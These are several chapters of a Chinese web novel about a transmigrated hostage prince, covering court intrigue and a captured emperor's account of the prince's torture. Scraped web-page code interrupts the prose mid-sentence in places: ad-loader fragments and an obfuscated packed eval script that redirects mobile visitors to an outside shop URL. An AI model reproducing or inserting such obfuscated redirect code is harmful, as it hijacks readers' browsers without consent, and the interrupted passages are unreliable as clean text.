他之前从没想过接收原主的记忆,无他,只是因为原主本身就是个不受宠的小可怜,原主的记忆一想就是很痛苦的,所以舒明尘一直很抗拒原主的记忆。 索性他一直在晋国,原主的记忆不接收也没关系,不影响任务。 是否接收原主的记忆取决于任务者自己,因此当时舒明尘想也不想就拒绝了。 可是现在,呃,舒明尘和系统商量,能不能单独接受原主某个年龄的记忆,他可不想把原主从小吃不饱穿不暖的记忆都接收一遍。 系统透明的光圈闪烁了一下,肯定地应了一声。 主系统规定,任务者可以根据任务需要,自由选取自己所要接收的记忆,毕竟如果在有些世界的原身可能会有几百年的记忆,若是都接受一遍也确实是一个漫长的过程。 系统整理了一下数据,点击了投放,一缕灰蒙蒙的数据便进入了舒明尘的脑海。 “九弟,你虽然年纪尚小,但是不得父皇喜爱,为了日后,还是得早些做打算。”一位面容丰俊地男子说道。 他的脸上还挂着淡淡的笑意,只是这笑意和他眼中的关切一样,只浮于表面,仿若一层雾气,将真实的情绪掩藏了起来。 舒明尘轻轻地绞了绞衣角,怯弱道:“那,依照三哥所言,弟弟应该如何做?” 三皇子笑了笑,这次的笑意真诚了许多。 “镇北军有个副将贪污了军饷,九弟去父皇面前提一句,剩下的证据自有人去查,这个检举的功劳不就落在了九弟头上了吗?” 他拍了拍这位弟弟的肩膀,以某种不容置喙的口吻说道:“听说这位副将同五弟交好,九弟到时候记得可不要忘了此事。” 小舒明尘嗫嚅地应了声。 等到这位三皇兄走了,他才重重地喘了口气,刚刚同对方接触的肩膀已是酸疼无比,按照他之前的经验,应该是已经青了。 但是,今后的日子就会比平常好过一点了。 三皇子与五皇子在朝中明争暗斗 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ,宫内之人自然也会看人下菜碟,眼看三皇子对这个无人问津的皇子有些许的关心,不管是不是真的,至少明面上不会太为难他了。 至于三皇子说的事,瘫坐在地上的小孩瑟缩了下,他是没胆子去把这件事和五皇子扯上关系的。 可是三皇子也不是好糊弄的。 他发起了愁,还没想出处理办法,几天后,五皇子又站到了他的面前。 一样的流程,一样的说辞,不一样的是这次五个要求他把这件事扯到三哥身上。 相比于三皇子的虚与委蛇,五皇子就简单粗暴很多,大概以为这么个小孩是不敢反抗他的,武力威慑了一下就放心走了。 留在原地的小孩呆愣了很久,才慢慢蹲下,环住胳膊抱住了自己,没事的,会有办法的,会有办法…的… 他这样想着,一滴泪却流了下来。 紧接着,越来越多的眼泪涌了出来,怎么办,究竟要怎么办…… 他实在清楚这两个人的手段,不论他选择哪个人,都会得罪另一个,而他,是不会被庇护的。 宫中之人常说,只有有用的人,才会在宫里活下去,可他没有。 他啊,在这宫里面,既无用,又懦弱。 蝼蚁尚且偷生,他闷在破败的宫室里绞尽脑汁想了许久,才想出这么一个尚且能够蒙混过关的办法。 他第一次鼓起勇气出现在了父皇退朝的路上,在众位大臣或疑惑或了然的视线下,颤抖地说出了这件事,只不过应该攀咬的语句被他咽了下去。 他实在是没有胆量,去攀咬他的任何一个兄弟。 “你是……”已过中年的皇帝顿了顿,并没想起来这是他的第几个儿子,旁边内侍想要提醒,却被陛下打断了。 “无证检举,无论是否属实,都应当先打五十大板。” 众臣静默,本已准备好的弹劾之词也被硬生生地卡在了喉咙之中,他们确实没想到,一向对镇北军颇有微词的陛下竟是这个反应,一时之间只能静观其变。 无人会在这种情况下帮忙求情,跪在中间的小孩脸色瞬间煞白,无措道:“父皇,儿臣……” 他想不出任何为自己辩驳的话,高高在上的皇帝也没心思听他拙劣的自辩。 “不过,念在你马上就要去晋国了,五十大板就免了,传朕命令,合谈结束后,他作为质子,随晋国使臣一同前往晋国。” 这是晋国合谈条件之一,本来两国还在商榷,并没有真正定下,而如今邺国皇帝此番话,俨然已是同意了这一要求。 负责合谈的邺国官员摇摆了一瞬,又重新跪的端端正正。 于是,九皇子就这样成为了质子,前往了晋国。 …… 接收完记忆的舒明尘表示,原主是真惨啊,委曲求全这么久,最后还是落得这么一个下场,连决定他命运的合约也是废纸一张——因为不到一年,晋国就再次发动了对邺国的战争。 而原主,只能在两国摩擦的夹缝里艰难地活着。 20. 炮灰质子(20) 在舒明尘低头“冥思苦想”的时候,沈司就坐在对面打量着他,他的眼睛幽深一片,说不上是恨还是其他什么。 其他几位记录官候在旁边,煎熬地看着这两个人在这种寂静无声的气氛中僵持着。 大概一刻钟之后,舒明尘叹了口气,抬起头来对他说道:“我想起来了。” 有轻轻的呼气声,又被纸张的声音遮盖,在沈司眼神落下的刹那,又什么都没有了。 手握狼毫的记录官咽了咽唾沫,道:“殿下请将。” “最开始的时候,是三皇兄来找我……” 这件事其实没什么好讲的,沈司早已在三皇子以及五皇子口中的得到了真相,他们想迎和陛下不喜镇北军的心思,诬告他父亲私吞军饷,同时坑一把自己的政敌。 事实清楚,口供也轻而易举,当年参与的所有人,现在都被关在邺国大牢,而九皇子,是最后一个。 不管舒明尘是因为什么原因不想说出来,他都得得到这份口供,他等这个等了五年,真相迟到这么久,证据不能再有一丝疏漏了。 舒明尘讲的很快,毕竟也不是多复杂的一件事,最后记录官将两份口供推到他面前,告诉他确认无误就可以签字画押了。 他草草瞄了一眼就歪七扭八地签上了自己的名字,这字体实在不能怪他,他现在手包的跟粽子似的,还能身残志坚的写字已经很不错了。 就是这个画押…… 他看了一眼自己被包的严严实实的手,这怎么画押? 沈司也后知后觉地意识了这个问题,现在口供已经到手,他也没有那么迫切了,便下令收起口供,等舒明尘伤好了再画押。 别!别呀! 舒明尘身体力行地表示,实在不必等他伤好了。 在沈司压迫的目光下,舒明尘走到了他面前,说道:“借剑一用。” 沈司行走军中多年,习惯随身佩剑,今日着急来到这,倒是真忘了解下佩剑。 剑很锋利,舒明尘只是试探性地蹭了一下,手指登时就冒了血珠,更不必说外面包着的布,被割破后就被他自己三下五除二地扯开了。 舒明尘高高兴兴地画完了押,又怀着感恩戴德的心把口供递给了沈司,在他眼里,这口供赫然就是他和系统回家的车票,而面前的沈司,毫无疑问就是发车前的检票员。 被扣上检票员帽子的沈司一脸复杂地接了过来,虽然将军已经同他交代过,但他也没想到,舒明尘能这么配合。 一切尘埃落定了,所以也不想挣扎了? 他的余光瞥见那只不断颤抖的手,许是察觉到了他的视线,手的主人微微转了转身,那只手便彻底消失在了他的视线里。 “若无旁的事,你可以走了。” 去检票去检票!检完票麻烦把他送回去谢谢! “……” 沈司就这样被赶了出来,身旁还站着随行的记录官。 因为将军并没有说明如何处理舒明尘,所以目前来讲,所有人对这位九皇子还算是尊敬,至少是明面上的。 好歹此行目的达到了,沈司暗自思衬着,至于舒明尘之后再如何,就与他无关了。 偏殿内,舒明尘盯了自己的手半晌,忽地用力握了握拳,直到他眼前开始一阵阵发黑,他才不得以松开了手。 窗外,一只瘦小的孤鸟掠过,惊起一片落雪,又倏地冲向远方,慢慢消失不见了。 走出偏殿的沈司快步走向承明殿,安城完全被邺军掌控后,晋国皇宫的承明殿就成了谢将军处理公务的地方。 谢南渝注意到了沈司的到来,从一堆公务中抽出身来,语气清淡地问了句:“见过他了?” 谢南渝对下属都是这种不咸不淡的语气,沈司早就习惯了。 此刻听到将军的问句,他下意识地点了头。 “事情办的如何?” “很顺利。” 沈司扬了扬手中的供词,鲜艳的颜色透过了纸张,落在了两人的眼底。 谢南渝放下了心。 沈颂恩曾是父亲重用多年的副将,在父亲去世后又尽力扶持他们兄弟,后又因镇北军而被诬陷降职,沈家遭此横祸,导致沈司也倍受冷遇,归根到底,是他们谢家欠沈家的。 九皇子的供词是当年真相的最后一片拼图,如今证据齐全,也可告慰沈伯父的在天之灵了。 但是这个九皇子…… “你去查查这个他。”谢南渝吩咐道。 这个九皇子,很不对劲。 沈司领命称是。 晋邺两国之间的战争持续将近一年,如今已经划下帷幕。 邺国兵分三路,由谢南渝带领的军队从正面抗击晋军,剩下两路分别从东西两路进攻。 在谢南渝的指挥下,他们直接绕到安城后方,在谢南渝进攻安城的时候,安城与晋国其余城池之间的联系已经被切断,安城已经成为了一座孤城。 舒明尘还是在云容口中知道这件事的,彼时他正在喝药,云容坐在对面,舒明尘拿着勺子搅啊搅,还是感觉难以下咽。 一旁的小侍女青羽眼泪汪汪地看着他。 舒明尘看了她一眼,莫名有股负罪感,闭眼屏息,一口气把药灌下去了。 喝完了,他长出一口气。 青羽眼巴巴地又端来一碗。 “……” “怎么还有?” 他上次这么密集的喝药还是刚来晋国的时候,原主的身体临近死亡的边缘,他整整喝了一个冬天的药,喝到最后他感觉他自己都是一味包治百病的药材了。 还是那种别人闻一下,病就好一半的神药。 青羽对着手指小声说道:“林太医说,殿下恢复的太慢了,需要加大剂量。” 其实是因为舒明尘一开始作天作地,既不吃饭也不喝药,他伤的重,加上明面上还是个皇子,也没有人敢强 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 迫他,只能在他睡着的时候慢慢喂一点进去,所以恢复的很慢。 后来也不知道谁出的点子,专门挑了一个最小的宫女来看着他喝药,就是青羽了。 舒明尘不喝药,青羽就委屈巴巴地卖惨,说殿下不喝药,青蘅姐姐就会罚她扫一晚上的雪。 舒明尘最受不了小姑娘哭哭啼啼的了,只能捏着鼻子认栽,乖乖把药喝了。 虽然很想快点死回去,但是这小宫女还要在这个世界继续生存,总不能连累人家吧。 舒明尘能怎么办,只能认命地再干一碗。 他还在脑海里跟系统吐槽,别人当反派,各种给主角添堵,死的轰轰烈烈,他当反派,事情没干多少,主打就是喝药。 刚来的时候快死了,喝药;原主身体不适应晋国气候,风吹多了,喝药;现在好不容易完成任务想走了,还被按着头喝药。 讲真,他真的没有什么神药体质啊喂! 大概是看舒明尘实在是太郁闷了,云容想了想,就说了些外面的情况,舒明尘的注意力果然一下子落到上面来了。 怪不得他晚几天暴露之后李淮景就只能待在安城了,原来是安城周围已经都被邺军占领了啊。 他想起当时李淮景在天牢跟他说的话,觉得谢南渝不愧是主角啊,瞧这进退得当的,不愧是造反当皇帝的人。 在他们说话的时候,青羽就乖乖带着空的药碗退下了,舒明尘看着空荡荡的房间,想了想问道: “彤施她们呢?” 彤施是跟着他来晋国的邺国宫女之一,其他还有内监、侍卫,但舒明尘在邺国本来就是个不受宠的皇子,因此随行而来的人也是少得可怜,堪堪够得上一个皇子的随侍数目而已。 再加上有些在路上就因各种原因没能撑到晋国,等舒明尘来到这个世界的时候,原主带过来的人已经不多了。 云容一愣,张了张嘴道:“他们……死了。” 舒明尘愣了一下,转而不可置信道: “…为什么?” 明明他被抓之前都好好的。 云容没有说话,但他忽然明白了,僵硬道:“……是因为,我。” “明明我没有……” 花草枯萎了,零落在无人经过的黑夜。远处,呱呱坠地的婴儿要学新的赞歌。 “他们怎么死的……”舒明尘伸出手,缓慢道:“和我……一样?” “不是,”云容走近了,因此穿过耳膜的声音也更清晰,“他们……很快,没有很痛苦。” “他们葬在哪里?” “在乱葬岗找到的,但因为是冬天,还能辨认出来身份,士兵将他们葬在了城南。” 天冷土冻,几十个士兵在城南待了一天,才安葬完了这些在异国飘泊多年的同胞。 “我能…去看看他们吗?” 安静的气氛在室内蔓延,良久,舒明尘退了一步。 ——他不能。 21. 炮灰质子(21) “系统,你说如果我没被发现,会不会……” 系统在脑海里安慰道: “舒舒,按照原剧情,他们五年前就应该死了,因为舒舒帮了他们,所以他们多活了五年,但是小世界的命运无法更改,不能怪在舒舒身上的。” 这样吗? 他和云容两个人面面相对,沉默许久,最后还是舒明尘打破了僵局: “他准备什么时候杀了我?” 没管云容的表情,他自顾自地继续说道:“我死之后,麻烦也把我葬在城南,不必立碑。” “不会的,如果真到了那个地步”云容没有再动,他实在是有些后悔刚才的话,连带着他的声音都有些软绵绵,带着一丝的弱势: “殿下,我救你,好不好?” 舒明尘一脸惊愕。 他感觉云容的身后好像有一道圣洁的光,整个人的形象瞬间上升了一个水平。 个鬼啊! 舒明尘都要给云容跪了,他天天作死,结果云容在背后吭哧吭哧地给他拖后腿。 不是兄弟,你救别人尚且有情可原,你救我真是没必要啊。 舒明尘有些头疼,他不知道云容为什么要这么做。 但是他迟早是要死的,云容不应该再插手他的事情,他应该跟着谢南渝建功立业,应该有一个很好的未来。 有些话,还是早点说开比较好。舒明尘望着云容的眼睛,云容的眼睛很澄澈,不掺一丝杂质的黑色,望向他的时候,很像一个忠心耿耿的部下。 但云容的忠心不能是对他的。 他叹口气说道:“云容,不要管我。我落到什么下场,是我咎由自取,什么后果我自己承担,不需要任何人可怜我。” 他想起了晋国皇帝跟他说的话,想着索性让云容这样死心也好。 “邺国质子勾结敌国,罪不容诛,按邺国律法,叛国者,凌迟而死。”他看见云容的身体僵了僵,狠了狠心继续说下去。 “就算是谢南渝,也没有办法抵挡来自全国百姓的声讨。舆论之下,我必须死,你明白吗?” “而你,你的话和你这个人一样,无足轻重,不要做一些让人笑掉大牙的蠢事。” “我今天明明白白地告诉你,我今后是生是死,与你没有关系,明白吗?” 云容只是望着他,并不说话,舒明尘还以为他刚才一顿输出能把云容骂走,静静地等着云容自己消化。 殊不知云容的视线已经越过他,落到了窗边。 那里,站着一个人。 没关系吗? 可是,已经没办法了啊殿下。 两人的视线在空中交锋了一瞬,又各自错开,云容稍微眯了眯眼,做了一个“嘘”的口型。 不要被发现。 要是殿下知道的话,又要发愁怎么和我撇开关系了。 …… 偏殿内,舒明尘看着云容的背影有点内疚,可他也没办法,他是跟主角作对的炮灰,云容离他越远越好。 “统统,之前的剧情里云容对原主也这么好吗?” 舒明尘接收到的剧情不全,毕竟原主只是个小炮灰,扮演炮灰不需要完整的剧情,只要一部分就可以了。 “……舒舒我也不知道。”系统拿到的剧情跟宿主一样,舒明尘不知道,系统自然也不知道。 在他们拿到的剧情里,只是提了一句云容是谢南渝安排进晋国的卧底,之后云容就没有再出现过。 舒明尘晃了晃发晕的头,他现在的身体好像更虚了,就算没落在男主手里,他估计也走不了多远,更不要说出城了。 垃圾身体! 想死还死不了,只能活着干受罪。 来个雷把他劈了吧…… 最后雷没有来,来了个沈司。 “你在南城南街巷是不是买过一处宅院?”对方冷不丁的问句让舒明尘愣了一下。 ? 舒明尘疑惑,他买的宅子有三四处吧?南街巷有没有,这个么,他记不太清了。 因此,面对沈司的问句,舒明尘很诚实地表示他忘了。 沈司皱了皱眉,他显然不满意这个回答,但他也拿舒明尘没办法。 调查一无所获,本来想在九皇子这里碰碰运气,结果又撞见云容,和云容闹了个不愉快,还被舒明尘不冷不硬地挡了回去,沈司的心情不可谓不差。 舒明尘看着沈司阴沉沉的脸色,在想要不要让云容给他一刀发泄发泄。 这样简直是双赢啊! 舒明尘张张嘴,本来打算刺激刺激沈司,结果沈司转身就走,那架势,活像后面有鬼似的。 啊呸!舒明尘后知后觉他把自己骂了一遍。 沈司来的匆忙,走的时候也是猝不及防。 舒明尘挽留对方的话还没编出来,沈司就走的没影了。 舒明尘沉痛地对系统表示,今天下班计划宣告失败,一人一统齐齐叹了口气。 等到走出偏殿,沈司果然看到云容在一旁等着他。 看到他出来,云容人畜无害地笑了笑,“今天正好要面见将军,副使一起吧?”他的手搭在沈司的肩膀上,不容反抗地带着人走。 沈司稍微动了动,摆脱了对方的桎梏,转身大踏步向承明殿走去。 身后的云容无所谓的耸了耸肩,反正他的目的已经达到了。 承明殿内,谢南渝听完后说道:“你怀疑那个宅子是在他名下?” 沈司点了点头:“与他进天牢时间一致,同时间入狱的人都排查了一遍,没有任何收获。” 沈司到达安城后,谢南渝特地让云容和沈司两人见了个面,云容在能力上是没话说的,他有意让自己手下两个最得力的下属搞好关系。 两人显然也明白将军的用意,不管心里是怎么想的,表面看上去还是和和气气的。 云容还把那个黑衣人的事情说了出来,细节说的很是详细,三人当时一起分析了下这位平白出现帮助云容的人: 云容听到过对方的声音,是位青年; 做事谨慎,且精通药理; 对方给云容留下的金疮药品质上乘,代表对方身份不低; 加上舒明尘说的,令牌是从他那拿到的,对方很有可能平日就能接触到质子。 但是质子身边除了晋国安排的人就是从邺国跟来的侍从,排查 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 后并没有什么收获。 其实最有可能的就是邺国来的侍从。 但这个猜想很快被云容否决了,这些侍从到底是从小伺候人的,而那个人当时照顾云容的时候动作显然不熟练。 唯一的线索就是当初对方带他到的一处宅院。 这个宅院后来遭到查封,查封的时间刚好是云容出城几天后,籍册入了刑部,以往记录全部清除。 这就代表这处宅院的主人已经入狱,而且是惹上了不得了的官司。 当时云容查了好久都没能查到,同时还被谢将军安排了另外的事务,要出城几天,不可能一直追查这件事情,就让沈司帮忙留意了一下。 沈司本来就负责调查质子,需要和牢狱打交道,这件事于他来说倒是举手之劳。 他特地把晋国刑部尚书提出来单独审问了一遍。 得益于李淮景之前实行的出城政策,晋国所有官员都没能逃出安城,只能继续和他们的皇帝一样,留在安城等死。 安城被攻占后,晋国所有官员都被羁押在狱,这些曾经风光无限的大臣一朝沦为阶下囚,心理落差不可谓不大。 这些大臣为了活命,倒是把他们知道的吐了个干净。 可是在这件事上,沈司却只得到了这么一个结果:这处宅院以及另外几处宅院的籍册是被金吾卫送进来的,之前的记录连刑部尚书也不知道。 晋国的金吾卫直属晋国皇帝管辖,在安城攻占过程中在指挥使蒙阙的带领下全数殉国。 因此调查进度再次陷入僵局。 沈司只能在时间上加以比对,期望从中线索。 最后得到的结论却是,那处宅院,很可能是舒明尘的。 质子被关入天牢的同一天,这几处宅院就被消籍送入刑部,同时,质子府也遭到查封。 确实太巧了。 “晋国皇帝一定是查到了什么,才如此确信刘安说的话。” 一直萦绕在他心中的疑问不减反增,谢南渝思索了下,晋国皇帝被关了也有一段时间了,也该去审一审了。 而且沈司关于质子的调查进度一直没有进展,或许晋国皇帝会是一个突破口。 另一边,沈司走后,舒明尘慢吞吞起身躺到床上。 他现在倒是没有刚开始那么抗拒加班了,他这个身体每天就是除了吃就是睡,似乎再多一点的动作于现在的他来说都是一种负担。 他慢慢合上眼,纤长的睫毛打下一片阴影,略有血色的唇紧紧抿着,在隐隐绰绰的光线中显出一种脆弱的美感。 在舒明尘闭上眼睛的一刹那,脑海中的系统弱弱地说:“舒舒,你确实买过南街巷的房子。” 舒明尘昏昏欲睡:“哦,买就买过呗。” “……就是你带云容去过的那个。”说完系统就开始装死。 !!! 舒明尘浑身一震,要是让沈司知道那个房子是他的,那…… 那又能怎么样。他想了想,他早就说过,令牌是别人从他这里拿走的,那个人能拿走他的令牌,知道他买过的房子不是很合理吗! 嗯,就是这样。 他心安理得地继续睡。 22. 炮灰质子——真相 安城陷落后,晋国所有大臣都被下狱,曾经的晋国皇帝也不例外。 不过,碍于他的特殊身份,李淮景被单独关押在天牢最里面的一间。 无数惨叫声此起彼伏,就像曾经一样,只不过,如今声音的主人变成了他的臣子而已。 李淮景靠在墙角,他身上的衣服没换,但已经布满脏污,高度紧绷的精神导致他现在极难入睡。 他在这样的环境中日复一日,像是凌迟一样,每天都经受着精神的折磨。 想起那个在天牢硬扛到最后一刻的质子,他忽然很好奇,对方是怎么坚持下来的。 不过可能他再也不会知道了,几道脚步声直直冲着他而来,这么多天了,还是轮到他了啊。 他抬起头,眯着眼睛看向来人。 “谢南渝!”李淮景咬牙切齿,恨不得将眼前之人拆之入腹。 “没想到我们再次见面是在这里,”谢南渝对其吃人的目光视若不见,缓缓勾起一个戏谑的笑容,“您也没想到吧?晋国—陛下。” 李淮景嗤笑一声,“你现在不过一时风光,你不顾质子安危攻打安城,你以为回国后邺国会放过你?” 谢南渝挑了挑眉,似是有些不解地说道:“陛下过虑了,邺国怎么会因为一个叛国的皇子而得罪我呢?” 果然啊,李淮景扯起嘴角。 早在谢南渝决意攻打安城的时候,他就知道,这个质子已经被放弃了。说到底,质子是否叛国,不过是谢南渝一句话的事。 谢南渝真是算计得明明白白,利用九皇子攻占晋国,结束后再以叛国之罪处死他,名利双收。 “我早就告诉过舒明尘,事成之后他也难逃一死,”他嘲讽一笑,“他竟然不信。” “我竟然还帮你把他杀了。” 李淮景苦笑着,悔意像新生的枝芽,在他的身体里横冲直撞,“我不该杀他的,我应该让他活着,让他看看,手握重兵、功名赫赫的谢将军,是怎么下令处死他的。” 谢南渝脸色没有半分波动,神色平静地看着李淮景状若疯癫的样子。 “是你?还是你?”李淮景双手狠狠抓着牢门,有木刺刺进手中,他仿若未觉。 最后他的视线落在沈司身上,“不,不会是你。” “那就是你!”他盯着云容,看着面前三人一头雾水的样子忽然明白过来,他们不知道,不知道…哈…哈哈哈 他又哭又笑,浑然不觉自己这幅样子落到其他人眼里会是怎样一种诡异的情状。 谢南渝心底有些不耐,他来这里是为了得到一些他查不到的情报,而不是看着晋国皇帝自说自话。 但这个人现在穷途末路,正规的方式只怕得不到他想要的答案。 于是他转过身佯装要走,果然听到对方在后面气急败坏地叫骂:“站住!不许走!你难道就不想知道他做了什么……” 谢南渝当然想知道,于是他加快了脚步。 眼看着谢南渝冷血无情,他又转过头气急败坏对着云容继续道:“对!是你!他把令牌给了你对吧?!” 意外收获。三人不约而同地想到。 眼看着这位心高气傲的将军终于停下了脚步,李淮景继续道: “朕现在就告诉你,告诉你,那个人,他……” 云容屏住了呼吸。 “他死了。” “被你们啊…” 他既怜悯又畅快地看着云容不断变换的表情,心中莫名有些痛快。 “害死了,哈哈哈哈……” 谢南渝脸色阴郁,一旁的狱卒很有眼色地甩了甩手中的鞭子,“安静点!” 李淮景抓着牢门的手下意识松开,带着倒刺的鞭子把他的血肉都勾了出来,他疼的大叫一声,捂着手倒在脏污的地面。 这里到处都充斥着腐败霉烂的味道,他卧倒在地,此刻这种气味尤甚,直直冲入他的鼻腔,向来养尊处优的他怎么能忍受得了,直接伏在地上干呕起来。 只是他并不想错过这个撕掉谢南渝伪善面具的机会。 果然不多时,他便断断续续地继续说道: “天牢里面,有一间暗室,是特地为这种人准备的,去找他吧,去找你的救命恩人,看看他,是如何死的,还是说,你已经找到了?” “你们的质子啊,救了你之后,就这样死了,死之后还要被你们扣上一顶叛国的帽子,啧啧……” 什么?! 他们的心里骇然。 云容的面色怔松,显然还沉浸在这件事带来的巨大冲击中。 谢南渝立在远处,在昏暗的牢中看不清表情,只是沈司知道,此刻将军的心里也是波涛汹涌,不过碍于眼下,不能表现出来而已。 但是这件事不能就这么下定论,沈司咬了咬舌尖,强迫自己冷静下来,思考几番出言道: “空口无凭,既无证据,也无相关证词相佐,不过是乱说一通,借此离间军中关系而已。” 转而又对谢南渝道:“卑职以为,此番话并不可信。” 回过神来的谢南渝也配合道:“说的极是。” 眼看着这件事就这样两个人遮掩过去,李淮景几乎气急败坏。 “朕说的都是真的,朕就是人证!蒙阙,蒙阙也可以作证……” “他死了。” 这次说话的是云容,他的面上已换上了一副波澜不惊的表情,只是细看之下,却能发现他微红的眼眶。 “还有,还有……审讯记录,对,就是审讯记录,在承明殿书架内暗格处……” 套出来了。 谢南渝扯了扯嘴角:“原来在这。” 怪不得怎么查也查不到舒明尘在天牢的任何事情。 李淮景激动的声音 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13976653|148043||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 戛然而止,像是一扇被强行关上的门,看了谢南渝好一会才终于愤恨地意识到自己被耍了,一时间气的面红耳赤。 “你现在知道了又能怎么样?假惺惺地掉几滴眼泪,再表现得不得已,继续享受着军功带来的权利富贵……” 他抬起头,冲着谢南渝的方向骂了一声:“伪君子。” 这种情况下得罪谢南渝的后果就是被狱卒提着鞭子再次教训一通。 不过李淮景看着那柄鞭子,低低笑了声,恶毒的声音在牢中回荡:“这样的鞭子,他也受过。不过他比我想象中硬气的多……” “想知道他当时的样子吗?”李淮景望着虚空,仿佛真的看见了什么,微微扯了扯嘴角。 “就是这样的鞭子,一下,又一下,他就那么受着,一句话也没说,最后直接昏过去了。然后,再被冷水泼醒,继续,再昏过去,再被泼醒,直到彻底醒不过来。” 恶毒的话不断从他的口中说出,那些不为人知的下作手段,晋国多年钻研的独特手法,一一呈现在三人眼前。 昏暗的光透过空中漂浮的尘埃,似乎真的有一个人被绑在那里,鞭子,银针,辣椒水……难以预计的痛苦,几乎将人整个吞没。 无尽的折磨,没有止境的痛苦。 那些手段,就连驰骋疆场多年的谢南渝都觉得发指,更不要说沈司了,听到最后,他的脸色都有些发白。 沈司面色恍惚,他一个听众都觉得受不了,那舒明尘当时,是怎么坚持下来的? 李淮景说了这么多,有些口干舌燥,但他现在是阶下之囚,自然不会有太监及时给他递上温度正好的茶水。 他只好舔了舔牙,继续说道:“他那一身的骨头可真硬,我怎么都撬不开他的嘴,比之前那个可是硬多了。” 说完顿了顿,嘲讽道:“可惜啊,他最后还是死了。你明知道他的命在我手里,竟然表现得毫不在乎……” “你是怎么查到他身上的?”一旁沉默良久的沈司发问。 李淮景不答,狱卒甩着鞭子,言辞狠厉:“让你说你就说,不要不识抬举!” 他蜷缩着倒在地上,感觉身体每处都疼的厉害,牢房阴冷的气息似乎通过他的伤口进入他的身体,浑身冷的发颤。 这么疼啊,当时舒明尘躺在这里,也是这种感觉吧? 良久之后,倒在地上的他嗤笑一声:“是你们轻敌。我晋国以刺探情报见长,只要发现一点疑点,没有查不到的。” 他撑着身体坐了起来,看着两人,狞笑道:“想想质子的下场,我好心提醒你们,跟着这位谢将军,是不会有好结果的。” 谢南渝不欲听他多言,转身就走,沈司紧随其后。 狱卒连忙上前关上牢门,李淮景的声音阴魂不散:“谢南渝,你何必如此虚伪,是你放弃了他,他的死不是因为我,是你,是你……” 23. 炮灰质子(23) 走出天牢的谢南渝显然不如来时步伐稳健,虽然他只在里面呆了不到一个时辰,但此时却有种恍如隔日的感觉。 “将军,要去承明殿……”找那本审讯记录吗? 沈司这句话还没说完,就看见面前的将军摆了摆手。 那就是去见舒明尘? 可他看见将军严肃的表情,又把这句话咽了下去。 云容脑中恍恍惚惚,他看着面前两个人的动作,却已经不想分析究竟是什么意思。 沈司跟在将军身边已久,两个人之间的默契他自是比不上。 看云容这个样子,应该也是刚知道,两人暗自思衬。 半晌,沈司道: “云容,你之前并不知道是九皇子给你送的令牌,为什么你一定要救他?” 相比于他和将军,云容显然对九皇子的事情了解的更多。 “因为……” “他是个好人,他救过我,也救过很多和我一样的人。” 这些事情,没什么不能说的。 “五年前,我们刚到这里的时候,像现在一样,不,比现在还冷。” 九皇子不得邺国皇帝宠爱,临近年关,却并不打算让他在邺国过多停留,直接就将他打发去了晋国。 “那个时候,我们都不适应这里的气候,殿下是最先病倒的,彤施发现之后哭的上气不接下气的……” 一个来异国的质子,什么都没有,他的母国都不在乎他,这里自然也是一样。 “那个时候,殿下已经开始发热了,他就一边说没事的没事的,一边吩咐找个没生病的去宫里请个太医过来。” 大概是想到了什么有趣的事,云容还笑了一下。 “彤施边哭边说,要是请不来怎么办?” “‘不会的,’殿下说,‘就算今天不来,明天也会有太医过来的。’” 彼时的彤施懵懵懂懂地看着殿下,只觉得这是哄她的空话,但她还是擦干了眼泪,闷闷地“嗯”了一声。 舒明尘一看就知道这小丫头不信他,戳了戳她还带着泪珠的脸颊,耐心地解释道: “邺国答应给晋国的岁贡还没到,晋国今年光景不好,粮食歉收,他们需要邺国的岁贡,不会让我死在这里的。” 最起码,在那些粮食到达晋国前不会。 这句话他没有说出来,免得这小姑娘听了又要吧嗒吧嗒地掉眼泪了。 邺国对这个九皇子确实不上心,跟他过来的要不就是年龄太小顶不上事,比如彤施,要不就是上了年纪无亲人帮扶,被派到这里自生自灭。 “后来,太医果然来了。开了方子吩咐我们去煎,等着殿下好转之后就留了些药走了,但这时已经有大部分人都开始有风寒症状了。” 晋国可不会那么好心的连带着他们这些人也一并管了。 那怎么办啊…… “殿下就说,那就把一份药多煎几份,每个人都有。” “有人找来一个很大的铜炉,别人都用它煮茶烧水,只有我们用来煎药。”云容略略笑了下,又很快收了起来。 “等到最后一份药吃完了,果然大家还是病着。” 毕竟剂量太低了。 然后呢,只能再去宫里请太医,说殿下又病了,这也是没办法的办法,只有这样才能继续拿到药。 但太医并不是好糊弄的。 “我不知道他做了什么,但太医来的时候,他确确实实地再次病了。” 太医只能继续开了开着方子,留了药,走了。 这样反反复复几次,所有人的病都好了。 “可是这时候,彤施又跑来,让我和她再去请一次太医。” 云容对上对面两人诧异的目光,继续说道:“当时,我也很诧异。明明已经不再需要了。” 太医来了之后,云容才明白,因为翻来覆去地折腾自己,舒明尘这次是真病了,而且很严重,好几次他在殿前经过,都能听见对方压抑的低咳声。 还有彤施在一旁小声的啜泣。 他知道是为什么,因为太医说殿下这次病情汹汹,连太医也没有十足的把握。 其实太医说话总是有些夸大的成分在的,但彤施毕竟没经历过这种事情,她就真的信了,煎药的时候,被熏得眼睛都红了也要祈祷殿下赶紧好起来。 “有次我路过,听到他说,‘彤施你不要晃……’” 彤施就一边哭一边委屈地说:“殿下,我没有晃……” 她年纪又小,心中又实在是害怕殿下真像太医说的那样一命呜呼了,那到时候她又怎么办呢? 她在晋国无亲无故,并无投身之处,若是孤身一人回到邺国,怕是在半路上就冻死了。 